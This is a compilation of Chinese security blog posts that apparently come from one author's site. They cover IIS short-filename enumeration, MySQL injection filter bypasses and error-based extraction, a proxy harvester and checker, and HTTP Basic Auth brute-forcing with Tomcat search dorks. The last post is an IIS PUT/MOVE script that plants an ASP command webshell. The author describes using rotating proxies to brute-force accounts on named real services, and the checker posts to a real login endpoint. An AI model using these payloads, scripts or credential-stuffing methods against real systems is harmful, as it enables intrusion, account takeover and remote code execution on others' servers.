IIS短文件名暴力猜解漏洞分析

昨天写了个“IIS短文件名暴力猜解漏洞”的利用脚本(比网上传播的那个Java POC能猜解出更多文件和文件夹)。 在此,把漏洞做个简单的分析和总计。

1. 漏洞的成因

为了兼容16位MS-DOS程序,Windows为文件名较长的文件(和文件夹)生成了对应的windows 8.3 短文件名。

在Windows下查看对应的短文件名,可以使用命令dir /x。

比如,我在D盘下创建了一个名为aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.html文件:

D:\>dir /x
 驱动器 D 中的卷是 Data
 卷的序列号是 3EDF-2E00

 D:\ 的目录

2014/10/11  13:08       256,515,706              2014101.sql
2014/10/13  17:01                 0 AAAAAA~1.HTM aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
.html
               2 个文件    256,515,706 字节
               0 个目录 107,017,154,560 可用字节

观察命令结果,可以看到,其对应的短文件名 AAAAAA~1.HTM。该短文件名有以下特征:

  1. 只有前六位字符直接显示,后续字符用~1指代。其中数字1还可以递增,如果存在多个文件名类似的文件(名称前6位必须相同,且后缀名前3位必须相同)。
  2. 后缀名最长只有3位,多余的被截断。

我们可以在启用.net的IIS下暴力列举短文件名,原因是:

  1. 访问构造的某个存在的短文件名,会返回404
  2. 访问构造的某个不存在的短文件名,会返回400

2. 漏洞的利用

漏洞的利用,需要使用到通配符*。在windows中,*可以匹配n个字符,n可以为0. 判断某站点是否存在IIS短文件名暴力破解,构造payload,分别访问如下两个URL:

1. http://www.target.com/*~1****/a.aspx

2. http://www.target.com/l1j1e*~1****/a.aspx

iis_shortname_enum_404   404

iis_shortname_enum_400    400

这里我使用了4个星号,主要是为了程序自动化猜解,逐个猜解后缀名中的3个字符,实际上,一个星号与4个星号没有任何区别(上面已经提到,*号可以匹配空)。

如果访问第一个URL,返回404。

而访问第二个URL,返回400。 则目标站点存在漏洞。

判断漏洞存在后,继续猜解目录下是否存在一个a开头的文件或文件夹,访问:

http://www.target.com/a*~1****/a.aspx

如果存在,将返回404。 如此反复,不断向下猜解完所有的6个字符。

猜解完之后,得到的序列应该类似:

http://www.target.com/abcdef*~1****/a.aspx

到了这一步,需要考虑两种情况,如果以abcdef开头的是一个文件夹,则

http://www.target.com/abcdef*~1/a.aspx

将返回404.

如果abcdef开头的是一个文件,则自动提交

http://www.target.com/abcdef*~1*g**/a.aspx

用a-z的26个字母替换上述g的位置,应该能得到多个404页面。(记住一点,404代表的是存在。)如果下面的地址返回404,

http://www.target.com/abcde*~1*g**/a.aspx

则代表扩展名中肯定存在g。

按照上面的思路,继续猜解g后面的字符,直到后缀名中的3个字符都猜解完,就可以了。

以上介绍了怎么手工猜解,这个漏洞的意义何在:

  1. 猜解后台地址
  2. 猜解敏感文件,例如备份的rar、zip、.bak、.SQL文件等。
  3. 在某些情形下,甚至可以通过短文件名web直接下载对应的文件。比如下载备份SQL文件。

3.漏洞的局限性

这个漏洞的局限有几点:

1) 只能猜解前六位,以及扩展名的前3位。

2) 名称较短的文件是没有相应的短文件名的。

3)需要IIS和.net两个条件都满足。

4. 漏洞的修复

1) 升级.net framework

2) 修改注册表键值:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem

修改NtfsDisable8dot3NameCreation为1。

3) 将web文件夹的内容拷贝到另一个位置,比如D:\www到D:\www.back,然后删除原文件夹D:\www,再重命名D:\www.back到D:\www

如果不重新复制,已经存在的短文件名则是不会消失的。

本文参考链接:

http://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/

http://www.freebuf.com/articles/4908.html

http://support2.microsoft.com/kb/121007

MySQL注射的过滤绕过技巧[1]

SQL注射的绕过技巧较多,此文仅做一些简单的总结。

前文已经提到,最好利用的注射点:

  1.  支持Union
  2.  可报错
  3. 支持多行执行、可执行系统命令、可HTTP Request等额外有利条件

若非以上类型,则可能需要暴力猜解。猜解时,可能会遇到一些限制。攻击者要做的,就是将其个个击破。

1. 通过greatest函数绕过不能使用大小于符号的情况

猜解单个字符时,通常使用折半查找。

mysql> select ascii(mid(user(),1,1)) < 150;
+------------------------------+
| ascii(mid(user(),1,1)) < 150 |
+------------------------------+
|                            1 |
+------------------------------+

以上是判断user()第一个字符的ascii码是否小于150. 若小于150,返回true(1),否则返回false(0)。 可以看到,需要使用到大小于符号。

比如,对于一个boolean based注入。尝试:

http://xxx.com/index.php?id=1 and ascii(mid(user(),1,1)) < 150

http://xxx.com/index.php?id=1 and ascii(mid(user(),1,1)) >= 150

上述两个页面返回的内容应该是不同的。

但问题是,有些情形下,我们是不能使用大小于符号的(<>),被过滤了。

此时,可以通过greatest函数绕过。greatest(a,b),返回a和b中较大的那个数。

当我们要猜解user()第一个字符的ascii码是否小于等于150时,可使用:

mysql> select greatest(ascii(mid(user(),1,1)),150)=150;
+------------------------------------------+
| greatest(ascii(mid(user(),1,1)),150)=150 |
+------------------------------------------+
|                                        1 |
+------------------------------------------+

如果小于150,则上述返回值为True。

2. 通过substr函数绕过不能使用逗号的情况

不能使用逗号的情况较少,往往是因为逗号有某些特殊的作用,被单独处理了。

通常,猜解都是要用到逗号的,因为需要mid函数取字符呐:

ascii(mid(user(),1,1))=150

绕过的方法是使用from x for y。语法类似:

mid(user() from 1 for 1)
或
substr(user() from 1 for 1)

以上同样是从第一个字符开始,取一位字符。

那么,不带逗号注入的语法,就可以变成:

mysql> select ascii(substr(user() from 1 for 1)) < 150;
+------------------------------------------+
| ascii(substr(user() from 1 for 1)) < 150 |
+------------------------------------------+
|                                        1 |
+------------------------------------------+

是不是跟mid函数的效果是一样的,又没有用到逗号。

经典的MySQL Duplicate entry报错注入

SQL注射取数据的方式有多种:

  1. 利用union select查询直接在页面上返回数据,这种最为常见,一个前提是攻击者能够构造闭合的查询。
  2.  Oracle中利用监听UTL_HTTP.request发起的HTTP请求,把QuerySet反弹回攻击者的主机。当然,HTTP服务器对URL的长度有一定限制,因此每次可返回的数据量不可过多。
  3.  基于错误消息取数据,前提是页面能够响应详细的错误描述。它的一个优点是,我们可能不必太费力去猜测和闭合SQL(可以构造子查询,让MySQL在子查询中报错)。
  4.  盲注,页面不会显示错误消息。常见基于布尔的盲注、基于时间的盲注,此类注射点利用价值相对要低一点,猜解数据的时间较长。

本篇简单说明非常经典的基于错误回显的MySQL注射。最重要的,就是理解下面的SQL查询:

select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x;

上面的这条SQL将报错: Duplicate entry ‘1’ for key ‘group_key’

如下图

mysql_error_1

1. 为什么MySQL注射要用information_schema库?

答案是这个库是MySQL自带的,安装之后就创建好了,所有账号都有权限访问。攻击者无需猜解库名、表名。跟Oracle注射使用dual类似。

2. 如何利用报错取数据?

利用报错,攻击者把目标数据concat连接到floor()函数的前后即可。

例如,下面的语句用于获取MySQL Server版本,构造:

mysql> select count(*),concat( floor(rand(0)*2), 0x5e5e5e, version(), 0x5e5e5e) x from information_schema.character_sets
group by x;
ERROR 1062 (23000): Duplicate entry ‘1^^^5.5.28^^^’ for key ‘group_key’

通过报错,即可知道当前数据库是5.5.28。0x5e5e5e是3个尖括号的16进制表示。 自动化SQL注射工具通常会在目标数据前后做类似的标记,方便程序提取。

加上标记,也可以方便攻击者在大的页面中搜索。

3. 为何这条语句会报错?

rand(0)是把0作为生成随机数的种子。首先明确一点,无论查询多少次,无论在哪台MySQL Server上查询,连续rand(0)生成的序列是固定的

mysql> select rand(0)*2 x from information_schema.character_sets;
+---------------------+
| x                   |
+---------------------+
|  0.3104408553898715 |
|   1.241763483026776 |
|  1.2774949104315554 |
|  0.6621841645447389 |
|  1.4784361528963188 |
|  1.4056283323146668 |
|  0.5928332643516672 |
|  0.7472813862816258 |
|  1.9579071998204172 |
|  1.5476919017244986 |
|  1.8647379706285316 |
|  0.6806142094364522 |
|  1.8088571967639562 |
|   1.002443416977714 |
|  1.5856455560639924 |
|  0.9208975908541098 |
|  1.8475513475458616 |
|  0.4750640266342685 |
|  0.8326661520010477 |
|  0.7381387415697228 |
|   1.192695313312761 |
|   1.749060403321926 |
|   1.167216138138637 |
|  0.5888995421946975 |
|  1.4428493580248667 |
|  1.4475482250075304 |
|  0.9091931124303426 |
| 0.20332094859641134 |
| 0.28902546715831895 |
|  0.8351645514696506 |
|  1.3087464173405863 |
| 0.03823849376126984 |
|  0.2649532782518801 |
|   1.210050971442881 |
|  1.2553950839260548 |
|  0.6468225667689206 |
|  1.4679276435337287 |
|  1.3991705788291717 |
|  0.5920700250119623 |
+---------------------+

应用floor函数(取浮点数的整数部分)后,结果变成了:

mysql> select floor(rand(0)*2) x from information_schema.character_sets;
+---+
| x |
+---+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
| 0 |
| 0 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
| 0 |
| 0 |
| 0 |
| 1 |
| 0 |
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
+---+
39 rows in set (0.00 sec)

可以看到,第二行和第三行的值都是1。这也是最终引起MySQL报错Duplicate entry的地方。

实际上,我们分开执行下面的两种查询,都是不会出错的:

a) select floor(rand(0)*2) x from information_schema.character_sets group by x;

上面的查询根据x列的值进行分组,得到:

+---+
| x |
+---+
| 0 |
| 1 |
+---+

b) select count(*), floor(rand(0)*2) x from information_schema.character_sets;

得到information_schema.character_sets总共有39行:

+----------+---+
| count(*) | x |
+----------+---+
|       39 | 0 |
+----------+---+
1 row in set (0.00 sec)

请注意,这里x的值出现的是0。

c) 将上述语句结合后即报错

select count(*), floor(rand(0)*2) x from information_schema.character_sets group by x;

我们预期的结果, 其实是:

+----------+---+
| count(*) | x |
+----------+---+
|       18 | 0 |
+----------+---+
|       11 | 1 |
+----------+---+
2 row in set (0.00 sec)

然而MySQL在内部处理中间结果的时候,出现了意外,导致报错。

参考链接: SQL Injection attack – What does this do?

批量获取及验证HTTP代理Python脚本

HTTP暴力破解、撞库,有一些惯用的技巧,比如:

1. 在扫号人人网时,我遇到单个账号错误两次,强制要求输入验证码,而对方并未实施IP策略。

我采用维护10万(用户名,密码) 队列的方式来绕过验证码。具体的做法是,当某个用户名、密码组合遇到需要验证码,就把该破解序列挂起,放到队列尾部等待下次测试,继续破解其他账号密码。

这样就可以保证2/3的时间都在进行正常破解和扫号。

2. 在破解美团网某系统账号时,我遇到了单个IP访问有一定限制,请求频率不可过快。于是我挂了72个 HTTP代理来解决这个问题。 看似每个IP的请求都正常,但其实从整个程序上看,效率还是挺可观的。

本篇我发出自己抓HTTP的脚本片段,其实只有几行。匿名代理是从这里抓取的:http://www.xici.net.co/nn/

首先获取代理列表 :

from bs4 import BeautifulSoup
import urllib2


of = open('proxy.txt' , 'w')

for page in range(1, 160):
    html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read()
    soup = BeautifulSoup(html_doc)
    trs = soup.find('table', id='ip_list').find_all('tr')
    for tr in trs[1:]:
        tds = tr.find_all('td')
        ip = tds[1].text.strip()
        port = tds[2].text.strip()
        protocol = tds[5].text.strip()
        if protocol == 'HTTP' or protocol == 'HTTPS':
            of.write('%s=%s:%s\n' % (protocol, ip, port) )
            print '%s=%s:%s' % (protocol, ip, port)

of.close()

接着验证代理是否可用,因为我是用于破解美团网系统的账号,因此用了美团的页面标记:

#encoding=gbk
import httplib
import time
import urllib
import threading

inFile = open('proxy.txt', 'r')
outFile = open('available.txt', 'w')

lock = threading.Lock()

def test():
    while True:
        lock.acquire()
        line = inFile.readline().strip()
        lock.release()
        if len(line) == 0: break
        protocol, proxy = line.split('=')
        headers = {'Content-Type': 'application/x-www-form-urlencoded',
            'Cookie': ''}
        try:
            conn = httplib.HTTPConnection(proxy, timeout=3.0)
            conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers )
            res = conn.getresponse()
            ret_headers = str( res.getheaders() ) 
            html_doc = res.read().decode('utf-8')
            print html_doc.encode('gbk')
            if ret_headers.find(u'/m/account/login/') > 0:
                lock.acquire()
                print 'add proxy', proxy
                outFile.write(proxy + '\n')
                lock.release()
            else:
                print '.',
        except Exception, e:
            print e

all_thread = []
for i in range(50):
    t = threading.Thread(target=test)
    all_thread.append(t)
    t.start()
    
for t in all_thread:
    t.join()

inFile.close()
outFile.close()

htpwdScan增加HTTP Basic Auth暴力破解

昨晚下班后把HTTP Basic认证的暴力破解功能加入到htpwsScan脚本了。改动的地方比较多,还未严格测试。

用法:

htpwdScan.py  -basic users.dic pass.dic -u=http://www.test.com/need-auth-url/

-basic 后指定用户名和密码字典

-u指定URL,通常无需从文件导入HTTP请求

破解成功的序列输出类似:

403[Basic Auth] tomcat:tomcat http://www.gedn.com/manager/html

介绍一个批量利用Tomcat的小技巧:

在搜索引擎中搜索如下关键词,可以找到大量老版本Tomcat:

intitle:”Apache Tomcat”  intext:”Thanks for using Tomcat!”

对于较新版本,则使用如下关键词:

intitle:”Apache Tomcat/7.0.42″

为了匹配更多的7.0版本,考虑使用:

intitle:Apache Tomcat/7.0.

“Apache Software Foundation.” intitle:Apache Tomcat/7.0

关于关键词的组合,不再详细介绍。 试用新的功能:https://github.com/lijiejie/htpwdScan

python IIS Put File脚本

平日上班忙,没怎么整理PC里的代码。 把以前写的IIS put file漏洞的利用脚本发一下,这漏洞实在很古老了。。。

#-*- encoding:utf-8 -*-

'''
IIS put file From https://www.lijiejie.com

Usage:
    iisPUT.py www.example.com:8080
'''

import httplib
import sys

try:
    conn = httplib.HTTPConnection(sys.argv[1])
    conn.request(method='OPTIONS', url='/')
    headers = dict(conn.getresponse().getheaders())
    if headers.get('server', '').find('Microsoft-IIS') < 0:
        print 'This is not an IIS web server'
        
    if 'public' in headers and \
       headers['public'].find('PUT') > 0 and \
       headers['public'].find('MOVE') > 0:
        conn.close()
        conn = httplib.HTTPConnection(sys.argv[1])
        # PUT hack.txt
        conn.request( method='PUT', url='/hack.txt', body='<%execute(request("cmd"))%>' )
        conn.close()
        conn = httplib.HTTPConnection(sys.argv[1])
        # mv hack.txt to hack.asp
        conn.request(method='MOVE', url='/hack.txt', headers={'Destination': '/hack.asp'})
        print 'ASP webshell:', 'http://' + sys.argv[1] + '/hack.asp'
    else:
        print 'Server not vulnerable'
        
except Exception,e:
    print 'Error:', e

在有域名列表的前提下,用来做批量扫描倒还是可以的。
不过目前仍存在PUT File漏洞的主机,实在很少了。
Gist: https://gist.github.com/lijiejie/3eb6c4a1db9b3fe3c59a